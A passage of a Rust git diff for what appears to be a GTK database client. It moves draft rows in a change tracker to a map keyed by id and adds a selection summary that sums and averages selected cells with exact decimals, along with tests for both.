     fn draft_cell(&self, draft_id: u64, col: usize) -> Option<(CellInput, Touch)> {
-        let draft = self.drafts.iter().find(|d| d.draft_id == draft_id)?;
+        let draft = self.drafts.get(&draft_id)?;
         Some((draft.cells.get(col)?.clone(), draft.touched))
     }
 
@@ -390,7 +390,8 @@ impl TabChangeTracker {
 
     fn put_drafts(&mut self, drafts: Vec<DraftRow>) -> TrackerDelta {
         let draft_ids: Vec<u64> = drafts.iter().map(|draft| draft.draft_id).collect();
-        self.drafts.extend(drafts);
+        self.drafts
+            .extend(drafts.into_iter().map(|draft| (draft.draft_id, draft)));
         TrackerDelta {
             inserted_drafts: draft_ids.clone(),
             ..self.delta(draft_ids.into_iter().map(RowKey::Draft).collect())
@@ -399,7 +400,8 @@ impl TabChangeTracker {
 
     fn remove_drafts(&mut self, drafts: &[DraftRow]) -> TrackerDelta {
         let draft_ids: Vec<u64> = drafts.iter().map(|draft| draft.draft_id).collect();
-        self.drafts.retain(|d| !draft_ids.contains(&d.draft_id));
+        let removed: HashSet<u64> = draft_ids.iter().copied().collect();
+        self.drafts.retain(|draft_id, _| !removed.contains(draft_id));
         TrackerDelta {
             removed_drafts: draft_ids.clone(),
             ..self.delta(draft_ids.into_iter().map(RowKey::Draft).collect())
@@ -407,7 +409,7 @@ impl TabChangeTracker {
     }
 
     fn put_draft_cell(&mut self, draft_id: u64, col: usize, input: CellInput, touched: Touch) -> TrackerDelta {
-        let Some(draft) = self.drafts.iter_mut().find(|d| d.draft_id == draft_id) else {
+        let Some(draft) = self.drafts.get_mut(&draft_id) else {
             return self.delta(Vec::new());
         };
         let Some(cell) = draft.cells.get_mut(col) else {
@@ -487,10 +489,10 @@ impl TabChangeTracker {
             .map(|(row_key, _)| row_key)
             .chain(self.deletes.keys())
             .cloned()
-            .chain(self.drafts.iter().map(|draft| RowKey::Draft(draft.draft_id)))
+            .chain(self.drafts.keys().map(|draft_id| RowKey::Draft(*draft_id)))
             .filter(|row_key| seen.insert(row_key.clone()))
             .collect();
-        let removed_drafts = self.drafts.iter().map(|draft| draft.draft_id).collect();
+        let removed_drafts = self.drafts.keys().copied().collect();
         self.drafts.clear();
         self.deletes.clear();
         self.updates.clear();
@@ -570,8 +572,8 @@ impl TabChangeTracker {
         }
     }
 
-    pub fn drafts(&self) -> &[DraftRow] {
-        &self.drafts
+    pub fn drafts(&self) -> &Slice<u64, DraftRow> {
+        self.drafts.as_slice()
     }
 
     /// Mark the row a failed save points at. The row marked before, if
@@ -595,39 +597,29 @@ impl TabChangeTracker {
 
     /// A draft's values, with a cell left to the server as NULL.
     pub fn draft_values(&self, draft_id: u64) -> Option<Vec<Value>> {
-        self.drafts
-            .iter()
-            .find(|draft| draft.draft_id == draft_id)
-            .map(|draft| {
-                draft
-                    .cells
-                    .iter()
-                    .map(|input| input.value().cloned().unwrap_or(Value::Null))
-                    .collect()
-            })
+        self.drafts.get(&draft_id).map(|draft| {
+            draft
+                .cells
+                .iter()
+                .map(|input| input.value().cloned().unwrap_or(Value::Null))
+                .collect()
+        })
     }
 
     pub fn draft_inputs(&self, draft_id: u64) -> Option<Vec<CellInput>> {
-        self.drafts
-            .iter()
-            .find(|draft| draft.draft_id == draft_id)
-            .map(|draft| draft.cells.clone())
+        self.drafts.get(&draft_id).map(|draft| draft.cells.clone())
     }
 
     pub fn draft_input(&self, draft_id: u64, col: usize) -> Option<CellInput> {
         self.drafts
-            .iter()
-            .find(|draft| draft.draft_id == draft_id)
+            .get(&draft_id)
             .and_then(|draft| draft.cells.get(col))
             .cloned()
     }
 
     /// A draft's cells as its INSERT carries them.
     pub fn draft_cells(&self, draft_id: u64, columns: &[ColumnInfo]) -> Option<Vec<CellInput>> {
-        self.drafts
-            .iter()
-            .find(|draft| draft.draft_id == draft_id)
-            .map(|draft| insert_cells(columns, draft))
+        self.drafts.get(&draft_id).map(|draft| insert_cells(columns, draft))
     }
 
     /// What the user changed, as the change set a save is planned from.
@@ -642,7 +634,7 @@ impl TabChangeTracker {
     /// one, as does any column the server fills.
     pub fn change_set(&self, columns: &[ColumnInfo]) -> Result<TrackedChanges, BuildSqlError> {
         let mut rows: Vec<(Touch, RowChange, StatementSource)> = Vec::new();
-        for draft in &self.drafts {
+        for draft in self.drafts.values() {
             rows.push((
                 draft.touched,
                 RowChange::Insert {
@@ -750,11 +742,11 @@ impl TabChangeTracker {
             }
             rows.push(row_key);
         }
-        for mut draft in std::mem::take(&mut self.drafts) {
+        for (draft_id, mut draft) in std::mem::take(&mut self.drafts) {
             match layout.draft(&draft.cells) {
                 Ok(cells) => {
                     draft.cells = cells;
-                    self.drafts.push(draft);
+                    self.drafts.insert(draft_id, draft);
                 }
                 Err(misfit) => {
                     removed_drafts.push(draft.draft_id);
@@ -948,7 +940,7 @@ impl TabChangeTracker {
             !saved
         });
         self.set_aside.retain(|change| !snapshot.includes(change.touched));
-        self.drafts.retain(|draft| {
+        self.drafts.retain(|_, draft| {
             let saved = snapshot.includes(draft.touched);
             if saved {
                 rows.push(RowKey::Draft(draft.draft_id));
@@ -1687,6 +1679,27 @@ mod tests {
         assert!(t.can_undo());
     }
 
+    #[test]
+    fn the_largest_paste_reads_back_and_undoes_without_a_scan_per_draft() {
+        let mut t = TabChangeTracker::default();
+        let rows = (0..tablepro_core::import::MAX_PASTED_ROWS)
+            .map(|row| vec![CellInput::Value(Value::Int(row as i64))])
+            .collect();
+        let drafts = t.track_insert(rows).inserted_drafts;
+
+        let started = std::time::Instant::now();
+        let read = drafts
+            .iter()
+            .filter(|draft_id| t.draft_values(**draft_id).is_some())
+            .count();
+        assert!(t.undo().is_some());
+        let elapsed = started.elapsed();
+
+        assert_eq!(read, tablepro_core::import::MAX_PASTED_ROWS);
+        assert!(t.drafts().is_empty());
+        assert!(elapsed < std::time::Duration::from_secs(2), "took {elapsed:?}");
+    }
+
     #[test]
     fn one_delete_over_many_rows_is_one_undo_step() {
         let mut t = TabChangeTracker::default();
diff --git a/linux/crates/app/src/services/grid/mod.rs b/linux/crates/app/src/services/grid/mod.rs
index 69b283298e..2252854d55 100644
--- a/linux/crates/app/src/services/grid/mod.rs
+++ b/linux/crates/app/src/services/grid/mod.rs
@@ -19,6 +19,7 @@ mod grid_column;
 mod grid_row_id;
 mod row_key_builder;
 mod row_snapshot;
+mod selection_summary;
 #[cfg(test)]
 mod test_columns;
 pub mod value_order;
@@ -43,3 +44,4 @@ pub use self::grid_column::{CellDisplay, GridColumn, grid_columns};
 pub use self::grid_row_id::GridRowId;
 pub use self::row_key_builder::RowKeyBuilder;
 pub use self::row_snapshot::RowSnapshot;
+pub use self::selection_summary::{SelectionSummary, SummaryRule, summarize};
diff --git a/linux/crates/app/src/services/grid/selection_summary.rs b/linux/crates/app/src/services/grid/selection_summary.rs
new file mode 100644
index 0000000000..9796f922ff
--- /dev/null
+++ b/linux/crates/app/src/services/grid/selection_summary.rs
@@ -0,0 +1,441 @@
+use std::borrow::Cow;
+use std::cmp::Ordering;
+
+use num_bigint::BigInt;
+use tablepro_core::Value;
+use tablepro_core::value::SqlDecimal;
+
+use super::value_order::decimal_of;
+use super::{CellDisplay, GridColumn};
+
+const AVERAGE_EXTRA_DIGITS: u32 = 4;
+
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum SummaryRule {
+    /// `scale` is the column's declared one, which its cells are padded to.
+    /// A value that is not a number, such as NaN, is counted as one.
+    Numeric {
+        scale: u32,
+    },
+    /// No declared type, so text that reads as a number is one. Typed text
+    /// holds identifiers like ZIP codes and is never summed.
+    NumericIfParsable,
+    CountOnly,
+}
+
+impl SummaryRule {
+    pub fn for_column(column: &GridColumn) -> Self {
+        let kind = &column.column_type.kind;
+        if kind.is_untyped() {
+            return Self::NumericIfParsable;
+        }
+        match column.display() {
+            CellDisplay::Number => Self::Numeric {
+                scale: kind.decimal_scale().unwrap_or(0),
+            },
+            _ => Self::CountOnly,
+        }
+    }
+}
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct SelectionSummary {
+    pub value_count: u64,
+    pub empty_count: u64,
+    pub not_a_number_count: u64,
+    pub numbers: Option<NumberFigures>,
+}
+
+/// Plain decimal text with no grouping, as SQL and a spreadsheet read it
+/// in any locale. Sum, minimum and maximum keep the widest scale, so cents
+/// stay cents; the average carries four more digits.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct NumberFigures {
+    pub count: u64,
+    pub sum: String,
+    pub average: String,
+    pub minimum: String,
+    pub maximum: String,
+}
+
+/// `values` as their cells show them, with a cell left to its default as
+/// NULL. `None` once `cancelled` says so. It asks before every value: one
+/// of 100,000 digits takes milliseconds alone.
+pub fn summarize<'a>(
+    values: impl IntoIterator<Item = &'a Value>,
+    rule: SummaryRule,
+    cancelled: &dyn Fn() -> bool,
+) -> Option<SelectionSummary> {
+    let mut tally = Tally::default();
+    for value in values {
+        if cancelled() {
+            return None;
+        }
+        tally.add(value, rule);
+    }
+    Some(tally.finish(rule))
+}
+
+#[derive(Default)]
+struct Tally {
+    value_count: u64,
+    empty_count: u64,
+    not_a_number_count: u64,
+    count: u64,
+    sum: Exact,
+    minimum: Option<Exact>,
+    maximum: Option<Exact>,
+}
+
+impl Tally {
+    fn add(&mut self, value: &Value, rule: SummaryRule) {
+        if value.is_null() {
+            self.empty_count += 1;
+            return;
+        }
+        self.value_count += 1;
+        if rule == SummaryRule::CountOnly {
+            return;
+        }
+        match number_of(value) {
+            Some(number) => self.add_number(number),
+            None if rule != SummaryRule::NumericIfParsable => self.not_a_number_count += 1,
+            None => {}
+        }
+    }
+
+    fn add_number(&mut self, number: Exact) {
+        self.count += 1;
+        self.sum = self.sum.plus(&number);
+        if self
+            .minimum
+            .as_ref()
+            .is_none_or(|minimum| number.compare(minimum) == Ordering::Less)
+        {
+            self.minimum = Some(number.clone());
+        }
+        if self
+            .maximum
+            .as_ref()
+            .is_none_or(|maximum| number.compare(maximum) == Ordering::Greater)
+        {
+            self.maximum = Some(number);
+        }
+    }
+
+    fn finish(self, rule: SummaryRule) -> SelectionSummary {
+        let declared = match rule {
+            SummaryRule::Numeric { scale } => scale,
+            SummaryRule::NumericIfParsable | SummaryRule::CountOnly => 0,
+        };
+        let numbers = match (self.minimum, self.maximum) {
+            (Some(minimum), Some(maximum)) => {
+                let scale = self.sum.scale.max(declared);
+                let average = self.sum.divided(self.count, scale + AVERAGE_EXTRA_DIGITS);
+                Some(NumberFigures {
+                    count: self.count,
+                    sum: self.sum.text(scale),
+                    average: average.trimmed().text(0),
+                    minimum: minimum.text(scale),
+                    maximum: maximum.text(scale),
+                })
+            }
+            _ => None,
+        };
+        SelectionSummary {
+            value_count: self.value_count,
+            empty_count: self.empty_count,
+            not_a_number_count: self.not_a_number_count,
+            numbers,
+        }
+    }
+}
+
+/// A number type's value, or text that reads as a number, at its exact
+/// decimal. A float is the decimal its shortest text spells, which is
+/// what its cell shows, so `0.1 + 0.2` is `0.3`.
+fn number_of(value: &Value) -> Option<Exact> {
+    let decimal = match value {
+        Value::Int(n) => return Some(Exact::integer(BigInt::from(*n))),
+        Value::UInt(n) => return Some(Exact::integer(BigInt::from(*n))),
+        Value::Text(text) => Cow::Owned(text.parse::<SqlDecimal>().ok()?),
+        Value::Other(other) => Cow::Owned(other.text.parse::<SqlDecimal>().ok()?),
+        _ => decimal_of(value)?,
+    };
+    let (negative, digits, scale) = decimal.parts()?;
+    let magnitude = BigInt::parse_bytes(digits.as_bytes(), 10)?;
+    Some(Exact {
+        mantissa: if negative { -magnitude } else { magnitude },
+        scale,
+    })
+}
+
+/// `mantissa × 10^-scale`, with the arithmetic `SqlDecimal` leaves out.
+#[derive(Debug, Clone, Default)]
+struct Exact {
+    mantissa: BigInt,
+    scale: u32,
+}
+
+impl Exact {
+    fn integer(mantissa: BigInt) -> Self {
+        Self { mantissa, scale: 0 }
+    }
+
+    fn rescaled(&self, scale: u32) -> BigInt {
+        match scale.checked_sub(self.scale) {
+            Some(0) | None => self.mantissa.clone(),
+            Some(more) => &self.mantissa * pow10(more),
+        }
+    }
+
+    fn plus(&self, other: &Self) -> Self {
+        let scale = self.scale.max(other.scale);
+        Self {
+            mantissa: self.rescaled(scale) + other.rescaled(scale),
+            scale,
+        }
+    }
+
+    fn compare(&self, other: &Self) -> Ordering {
+        let scale = self.scale.max(other.scale);
+        self.rescaled(scale).cmp(&other.rescaled(scale))
+    }
+
+    /// `self ÷ count` to `scale` digits, half away from zero.
+    fn divided(&self, count: u64, scale: u32) -> Self {
+        let numerator = self.rescaled(scale);
+        let denominator = BigInt::from(count);
+        let quotient = &numerator / &denominator;
+        let remainder = &numerator % &denominator;
+        let rounds_away = remainder.magnitude() * 2u32 >= *denominator.magnitude();
+        let mantissa = match rounds_away {
+            true if numerator < BigInt::ZERO => quotient - 1,
+            true => quotient + 1,
+            false => quotient,
+        };
+        Self { mantissa, scale }
+    }
+
+    fn trimmed(&self) -> Self {
+        let digits = self.mantissa.magnitude().to_string();
+        let zeros = digits.bytes().rev().take_while(|digit| *digit == b'0').count();
+        let drop = u32::try_from(zeros).unwrap_or(u32::MAX).min(self.scale);
+        Self {
+            mantissa: &self.mantissa / pow10(drop),
+            scale: self.scale - drop,
+        }
+    }
+
+    /// The number with at least `scale` fraction digits.
+    fn text(&self, scale: u32) -> String {
+        let scale = scale.max(self.scale);
+        let mantissa = self.rescaled(scale);
+        let digits = mantissa.magnitude().to_string();
+        let sign = if mantissa < BigInt::ZERO { "-" } else { "" };
+        let scale = scale as usize;
+        if scale == 0 {
+            return format!("{sign}{digits}");
+        }
+        let digits = format!("{digits:0>width$}", width = scale + 1);
+        let (whole, fraction) = digits.split_at(digits.len() - scale);
+        format!("{sign}{whole}.{fraction}")
+    }
+}
+
+fn pow10(exponent: u32) -> BigInt {
+    BigInt::from(10u32).pow(exponent)
+}
+
+#[cfg(test)]
+mod tests {
+    use std::cell::Cell;
+
+    use tablepro_core::Value;
+    use tablepro_core::column::{ColumnKind, IntegerKind, IntegerWidth, TextLength};
+    use tablepro_core::value::{OtherValue, SqlDecimal};
+
+    use super::{NumberFigures, SelectionSummary, SummaryRule, summarize};
+    use crate::services::grid::test_columns::result_only;
+
+    fn summed(values: &[Value], rule: SummaryRule) -> SelectionSummary {
+        summarize(values, rule, &|| false).expect("a run nobody cancelled")
+    }
+
+    fn numbers(values: &[Value], rule: SummaryRule) -> NumberFigures {
+        summed(values, rule).numbers.expect("numbers")
+    }
+
+    fn decimal(text: &str) -> Value {
+        Value::Decimal(text.parse::<SqlDecimal>().expect("a decimal"))
+    }
+
+    const NUMERIC: SummaryRule = SummaryRule::Numeric { scale: 0 };
+
+    #[test]
+    fn decimals_add_exactly_and_keep_their_scale() {
+        let figures = numbers(&[decimal("0.10"), decimal("0.20"), decimal("19.99")], NUMERIC);
+
+        assert_eq!(figures.count, 3);
+        assert_eq!(figures.sum, "20.29");
+        assert_eq!(figures.minimum, "0.10");
+        assert_eq!(figures.maximum, "19.99");
+        assert_eq!(figures.average, "6.763333", "four digits past the cents");
+    }
+
+    #[test]
+    fn the_declared_scale_pads_the_figures_as_it_pads_the_cells() {
+        let figures = numbers(&[decimal("5"), decimal("6")], SummaryRule::Numeric { scale: 2 });
+
+        assert_eq!(figures.sum, "11.00");
+        assert_eq!(figures.minimum, "5.00");
+        assert_eq!(figures.average, "5.5");
+    }
+
+    #[test]
+    fn floats_add_as_the_text_the_cell_shows() {
+        let figures = numbers(&[Value::Float64(0.1), Value::Float64(0.2)], NUMERIC);
+        assert_eq!(figures.sum, "0.3");
+        assert_eq!(figures.average, "0.15");
+
+        let figures = numbers(&[Value::Float32(0.1), Value::Float32(0.2)], NUMERIC);
+        assert_eq!(figures.sum, "0.3", "a float32 at its own width, not widened");
+    }
+
+    #[test]
+    fn the_average_rounds_half_away_from_zero_and_drops_its_zeros() {
+        assert_eq!(
+            numbers(&[Value::Int(2), Value::Int(4), Value::Int(-9)], NUMERIC).average,
+            "-1"
+        );
+        assert_eq!(numbers(&[Value::Int(-1), Value::Int(-2)], NUMERIC).average, "-1.5");
+        assert_eq!(
+            numbers(&[Value::Int(1), Value::Int(1), Value::Int(0)], NUMERIC).average,
+            "0.6667"
+        );
+        assert_eq!(
+            numbers(&[Value::Int(-1), Value::Int(-1), Value::Int(0)], NUMERIC).average,
+            "-0.6667"
+        );
+    }
+
+    #[test]
+    fn integers_of_any_width_add_past_i128() {
+        let wide = "170141183460469231731687303715884105727"
+            .parse()
+            .map(Value::WideInt)
+            .expect("an i128::MAX");
+        let figures = numbers(&[wide.clone(), wide, Value::UInt(u64::MAX)], NUMERIC);
+
+        assert_eq!(figures.sum, "340282366920938463481821351505477763069");
+    }
+
+    #[test]
+    fn a_decimal_wider_than_a_thousand_digits_is_still_a_number() {
+        let wide = format!("1{}", "0".repeat(1_500));
+        let summary = summed(&[decimal(&wide), Value::Int(1)], NUMERIC);
+
+        assert_eq!(summary.not_a_number_count, 0);
+        assert_eq!(
+            summary.numbers.expect("numbers").sum,
+            format!("1{}1", "0".repeat(1_499))
+        );
+    }
+
+    #[test]
+    fn nulls_are_empty_and_a_nan_is_not_a_number() {
+        let values = [
+            Value::Int(5),
+            Value::Null,
+            Value::Null,
+            Value::Decimal(SqlDecimal::nan()),
+            Value::Float64(f64::INFINITY),
+        ];
+        let summary = summed(&values, NUMERIC);
+
+        assert_eq!(summary.value_count, 3);
+        assert_eq!(summary.empty_count, 2);
+        assert_eq!(summary.not_a_number_count, 2);
+        assert_eq!(summary.numbers.expect("numbers").count, 1);
+    }
+
+    #[test]
+    fn text_is_summed_only_in_a_column_of_no_declared_type() {
+        let other = Value::Other(Box::new(OtherValue {
+            type_name: "Variant(UInt32, String)".to_owned(),
+            text: "4".to_owned(),
+        }));
+        let values = [
+            Value::Text("12".into()),
+            Value::Text("\u{a0}3.5 ".into()),
+            Value::Text("n/a".into()),
+            other,
+        ];
+
+        let untyped = summed(&values, SummaryRule::NumericIfParsable);
+        assert_eq!(untyped.value_count, 4);
+        assert_eq!(
+            untyped.not_a_number_count, 0,
+            "free text in an untyped column is just text"
+        );
+        assert_eq!(untyped.numbers.expect("numbers").sum, "19.5");
+
+        let typed = summed(&values, SummaryRule::CountOnly);
+        assert_eq!(typed.value_count, 4);
+        assert!(typed.numbers.is_none());
+    }
+
+    #[test]
+    fn a_column_of_text_only_counts() {
+        let summary = summed(&[Value::Text("a".into()), Value::Null], SummaryRule::NumericIfParsable);
+
+        assert_eq!((summary.value_count, summary.empty_count), (1, 1));
+        assert!(summary.numbers.is_none());
+    }
+
+    #[test]
+    fn the_rule_follows_the_column_type() {
+        let integer = ColumnKind::Integer(IntegerKind {
+            width: IntegerWidth::W64,
+            signed: true,
+        });
+        let cents = ColumnKind::Decimal {
+            precision: Some(10),
+            scale: Some(2),
+        };
+        let zip = ColumnKind::Text {
+            length: TextLength::Varying(5),
+        };
+
+        assert_eq!(
+            SummaryRule::for_column(&result_only("n", integer)),
+            SummaryRule::Numeric { scale: 0 }
+        );
+        assert_eq!(
+            SummaryRule::for_column(&result_only("price", cents)),
+            SummaryRule::Numeric { scale: 2 }
+        );
+        assert_eq!(
+            SummaryRule::for_column(&result_only("zip", zip)),
+            SummaryRule::CountOnly
+        );
+        assert_eq!(
+            SummaryRule::for_column(&result_only("x", ColumnKind::Other)),
+            SummaryRule::NumericIfParsable
+        );
+    }
+
+    #[test]
+    fn a_cancelled_run_answers_nothing() {
+        let asked = Cell::new(0);
+        let values = vec![Value::Int(1); 10];
+
+        let answer = summarize(&values, NUMERIC, &|| {
+            asked.set(asked.get() + 1);
+            asked.get() > 3
+        });
+
+        assert_eq!(answer, None);
+        assert_eq!(asked.get(), 4, "it stops before the next value");
+    }
+}
diff --git a/linux/crates/app/src/services/grid/value_order.rs b/linux/crates/app/src/services/grid/value_order.rs
index 94c3b88c3d..d466aeb52b 100644
--- a/linux/crates/app/src/services/grid/value_order.rs
+++ b/linux/crates/app/src/services/grid/value_order.rs
@@ -215,7 +215,7 @@ fn integer_of(value: &Value) -> Option<i128> {
 /// The value as an exact decimal, for comparing numbers of different
 /// kinds. A float is taken at the decimal its shortest form spells. A
 /// decimal is borrowed, since a sort compares each one many times.
-fn decimal_of(value: &Value) -> Option<Cow<'_, SqlDecimal>> {
+pub(crate) fn decimal_of(value: &Value) -> Option<Cow<'_, SqlDecimal>> {
     let owned = match value {
         Value::Decimal(decimal) => return Some(Cow::Borrowed(decimal)),
         Value::Float32(_) | Value::Float64(_) => {
diff --git a/linux/crates/app/src/services/tab_tracker_handle.rs b/linux/crates/app/src/services/tab_tracker_handle.rs
index 3a82b7b5f6..ba8f576cbf 100644
--- a/linux/crates/app/src/services/tab_tracker_handle.rs
+++ b/linux/crates/app/src/services/tab_tracker_handle.rs
@@ -72,7 +72,7 @@ impl TabTrackerHandle {
     }
 
     pub fn drafts(&self) -> Vec<DraftRow> {
-        self.0.borrow().drafts().to_vec()
+        self.0.borrow().drafts().values().cloned().collect()
     }
 
     pub fn draft_values(&self, draft_id: u64) -> Option<Vec<Value>> {
diff --git a/linux/crates/app/src/ui/browse_tab/grid_handlers.rs b/linux/crates/app/src/ui/browse_tab/grid_handlers.rs
index c6179d3bf3..1709abcab2 100644
--- a/linux/crates/app/src/ui/browse_tab/grid_handlers.rs
+++ b/linux/crates/app/src/ui/browse_tab/grid_handlers.rs
@@ -72,6 +72,7 @@ impl BrowseModel {
         let label = &self.widgets.selection_label;
         label.set_label(hint.as_deref().unwrap_or_default());
         label.set_visible(hint.is_some());
+        self.grid.selection_summary().set_visible(self.shown_page().is_some());
         let ids: Vec<GridRowId> = rows.iter().map(GridRow::id).collect();
         let blocked = match delete_availability(&ids, self.read_only) {
             DeleteAvailability::Unavailable(block) => block.explanation(),
diff --git a/linux/crates/app/src/ui/browse_tab/imp.rs b/linux/crates/app/src/ui/browse_tab/imp.rs
index 0cbacd6ce8..b6c8158638 100644
--- a/linux/crates/app/src/ui/browse_tab/imp.rs
+++ b/linux/crates/app/src/ui/browse_tab/imp.rs
@@ -46,6 +46,8 @@ pub struct BrowseTab {
     #[template_child]
     pub selection_label: TemplateChild<gtk::Label>,
     #[template_child]
+    pub action_bar: TemplateChild<gtk::ActionBar>,
+    #[template_child]
     pub more_button: TemplateChild<gtk::MenuButton>,
     #[template_child]
     pub export_button: TemplateChild<gtk::Button>,
diff --git a/linux/crates/app/src/ui/browse_tab/layout.rs b/linux/crates/app/src/ui/browse_tab/layout.rs
index 20a97fe76a..46fb075649 100644
--- a/linux/crates/app/src/ui/browse_tab/layout.rs
+++ b/linux/crates/app/src/ui/browse_tab/layout.rs
@@ -152,6 +152,7 @@ pub(super) fn grid(tab: &BrowseTab, init: GridInit) -> DataGrid {
     grid.set_hexpand(true);
     let imp = tab.imp();
     imp.grid_holder.append(&grid);
+    imp.action_bar.pack_start(&grid.selection_summary());
     let _ = imp.grid.set(grid.clone());
     connect_grid(tab, &grid);
     grid
diff --git a/linux/crates/app/src/ui/browse_tab/tests/load.rs b/linux/crates/app/src/ui/browse_tab/tests/load.rs
index ab04ce809b..e281dfc373 100644
--- a/linux/crates/app/src/ui/browse_tab/tests/load.rs
+++ b/linux/crates/app/src/ui/browse_tab/tests/load.rs
@@ -250,6 +250,35 @@ fn a_failed_page_turn_hands_the_focus_to_try_again() {
     assert_eq!(focus().as_ref(), Some(retry.upcast_ref()));
 }
 
+/// The figures are of rows the error page hides, so the readout goes with
+/// the selected-row count.
+#[gtk4::test]
+fn the_selection_summary_hides_behind_the_error_page() {
+    let mut script = super::paging(full_page(0), rows(&["unused"]));
+    script.query_bound = Default::default();
+    script
+        .query_bound
+        .once(FakeReply::ok(full_page(0)))
+        .always(FakeReply::err(DriverError::server("denied")));
+    let harness = Harness::open(script, []);
+    wait_until(WAIT, || harness.shown().len() == 100).expect("the first page");
+    let _shown = Shown::new(harness.tab());
+    let readout = harness
+        .grid()
+        .selection_summary()
+        .downcast::<gtk4::Revealer>()
+        .expect("the readout");
+    wait_until(WAIT, || harness.grid().focus_cell(0, 0).is_some()).expect("a cell takes the focus");
+    harness.select(0..3);
+    wait_until(WAIT, || readout.reveals_child()).expect("the readout shows the selection");
+    assert!(readout.is_visible());
+
+    harness.tab().send(PagingInput::NextPage);
+
+    wait_until(WAIT, || harness.visible_page().as_deref() == Some("error")).expect("the error page");
+    assert!(!readout.is_visible(), "the readout summed rows the error page hides");
+}
+
 fn error_text(harness: &Harness) -> String {
     harness
         .tab()
diff --git a/linux/crates/app/src/ui/data_grid/columns.rs b/linux/crates/app/src/ui/data_grid/columns.rs
index f341c6a432..ee0b7f5043 100644
--- a/linux/crates/app/src/ui/data_grid/columns.rs
+++ b/linux/crates/app/src/ui/data_grid/columns.rs
@@ -497,6 +497,7 @@ impl DataGrid {
         if let Some(column) = self.data_view_column(index) {
             column.set_visible(visible);
         }
+        self.refresh_summary();
     }
 
     /// Every column back where the result has it, at its opening width,
diff --git a/linux/crates/app/src/ui/data_grid/find_bar.rs b/linux/crates/app/src/ui/data_grid/find_bar.rs
index 13f985eea0..551e7ee0eb 100644
--- a/linux/crates/app/src/ui/data_grid/find_bar.rs
+++ b/linux/crates/app/src/ui/data_grid/find_bar.rs
@@ -36,6 +36,14 @@ struct Found {
     answered: bool,
 }
 
+impl FindState {
+    pub(super) fn stop(&self) {
+        if let Some(running) = self.running.take() {
+            running.store(true, Ordering::Relaxed);
+        }
+    }
+}
+
 impl Found {
     fn label(&self) -> String {
         if !self.answered {
@@ -180,9 +188,7 @@ impl DataGrid {
     /// answers.
     fn start_search(&self, query: String, moving: bool) {
         let state = &self.imp().find;
-        if let Some(running) = state.running.take() {
-            running.store(true, Ordering::Relaxed);
-        }
+        state.stop();
         let search = state.searches.get().wrapping_add(1);
         state.searches.set(search);
         state.moving.set(moving);
@@ -382,11 +388,11 @@ mod tests {
 
     use gtk4::prelude::*;
     use gtk4::subclass::prelude::*;
-    use gtk4::{self as gtk, gdk};
+    use gtk4::{self as gtk, gdk, glib};
     use tablepro_core::Value;
 
     use super::super::test_grid::{Grid, GridSpec, WAIT, focus_in_grid, named, results};
-    use crate::test_support::{KeyInjector, wait_until};
+    use crate::test_support::{KeyInjector, drain_main_context, wait_until};
 
     fn text(value: &str) -> Value {
         Value::Text(value.to_owned())
@@ -558,6 +564,24 @@ mod tests {
         assert_eq!(on_match(&grid), Some((42, 1)));
     }
 
+    #[gtk4::test]
+    fn closing_the_grid_stops_the_search_still_running() {
+        let grid = orchard();
+        grid.activate("find");
+        // The answer lands on a context nothing runs, so the search is still
+        // out when the grid goes.
+        let parked = glib::MainContext::new();
+        parked
+            .with_thread_default(|| grid.grid.start_search("apple".to_owned(), true))
+            .expect("the context is free");
+        let running = grid.grid.imp().find.running.borrow().clone().expect("the search runs");
+
+        drop(grid);
+        drain_main_context();
+
+        assert!(running.load(std::sync::atomic::Ordering::Relaxed));
+    }
+
     #[gtk4::test]
     fn rows_that_change_are_searched_again() {
         let grid = orchard();
diff --git a/linux/crates/app/src/ui/data_grid/grid_actions.rs b/linux/crates/app/src/ui/data_grid/grid_actions.rs
index 201f64c4a2..71cd586a8b 100644
--- a/linux/crates/app/src/ui/data_grid/grid_actions.rs
+++ b/linux/crates/app/src/ui/data_grid/grid_actions.rs
@@ -176,6 +176,7 @@ impl DataGrid {
         self.edit().refresh_actions(self, target.as_ref());
         copy::refresh_actions(self, target.as_ref());
         references::refresh_actions(self, target.as_ref());
+        self.refresh_summary();
         find_bar::refresh_actions(self);
     }
 }
diff --git a/linux/crates/app/src/ui/data_grid/imp.rs b/linux/crates/app/src/ui/data_grid/imp.rs
index 28a482d82a..e689b876f8 100644
--- a/linux/crates/app/src/ui/data_grid/imp.rs
+++ b/linux/crates/app/src/ui/data_grid/imp.rs
@@ -16,6 +16,7 @@ use super::references::Armed;
 use super::reversed_list::ReversedList;
 use super::row_detail::RowDetailPane;
 use super::selection::Target;
+use super::selection_summary::SummaryState;
 use super::{GridConfig, GridStore};
 
 /// The grid's selection model, made with the grid and given its rows once
@@ -64,6 +65,7 @@ pub struct DataGrid {
     pub columns: RefCell<ColumnSet>,
     pub actions: gio::SimpleActionGroup,
     pub menus: OnceCell<GridMenus>,
+    pub summary: SummaryState,
     pub edit: EditController,
     pub find: FindState,
     /// What a menu was opened on, until it closes.
@@ -113,6 +115,9 @@ impl ObjectImpl for DataGrid {
     }
 
     fn dispose(&self) {
+        // A run still out on the task pool would go on over every row.
+        self.find.stop();
+        self.summary.stop();
         self.obj().stop_watching_focus();
         if let Some(menus) = self.menus.get() {
             menus.unparent();
diff --git a/linux/crates/app/src/ui/data_grid/mod.rs b/linux/crates/app/src/ui/data_grid/mod.rs
index eba768f692..47e2ca9bde 100644
--- a/linux/crates/app/src/ui/data_grid/mod.rs
+++ b/linux/crates/app/src/ui/data_grid/mod.rs
@@ -24,6 +24,7 @@ mod row_detail;
 mod row_json_dialog;
 mod row_number_column;
 mod selection;
+mod selection_summary;
 mod server_sorter;
 mod table_keys;
 #[cfg(test)]
@@ -179,6 +180,7 @@ impl DataGrid {
     pub fn set_columns(&self, columns: Arc<[GridColumn]>, sorting: GridSorting, rules: Option<EditRules>) {
         self.commit_editors();
         self.store().clear();
+        self.imp().summary.forget_column();
         self.edit().set_rules(self, rules);
         self.rebuild_columns(columns, sorting);
         self.show_rows_or_empty();
diff --git a/linux/crates/app/src/ui/data_grid/selection_summary.rs b/linux/crates/app/src/ui/data_grid/selection_summary.rs
new file mode 100644
index 0000000000..7a3bba69a5
--- /dev/null
+++ b/linux/crates/app/src/ui/data_grid/selection_summary.rs
@@ -0,0 +1,416 @@
+use std::cell::{Cell, OnceCell, RefCell};
+use std::rc::Rc;
+use std::sync::Arc;
+use std::sync::atomic::{AtomicBool, Ordering};
+
